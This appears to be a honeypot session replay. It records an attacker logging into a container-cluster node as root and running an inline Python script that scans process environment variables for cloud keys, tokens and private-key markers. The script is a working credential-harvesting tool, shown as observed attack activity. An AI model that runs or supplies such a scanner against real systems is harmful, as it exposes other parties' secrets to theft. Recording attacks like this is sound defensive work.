connected from 🇩🇪 Bad Soden am Taunus (Neuenhain), Germany · SSH-2.0-paramiko_5.1.0
root@se-sto-oracle-1's password: Logged in as root
root@se-sto-oracle-1:~# python3 - <<'PYEOF'
import os, glob
pat = ("ocid1","AKIA","ASIA","LTAI","OCI_CLI","tenancy","compartment","SECRET","TOKEN","PASSKEY","BEGIN")
procs = glob.glob("/proc/[0-9]*")[:200]
hits = 0; total = 0
for p in procs:
try:
data = open(p+"/environ","rb").read().decode("utf-8","replace")
except Exception:
continue
total += 1
for line in data.split("\0"):
if any(x.lower() in line.lower() for x in pat):
print(p+" :: "+line[:300]); hits += 1
print("SCANNED_PROCS=%d HITS=%d" % (total, hits))
PYEOFDisconnected · 0s inside
0:00 / 0:00
What they found: A container cluster's worker nodeOne machine of a small company's self-hosted container cluster, running its customer-facing services.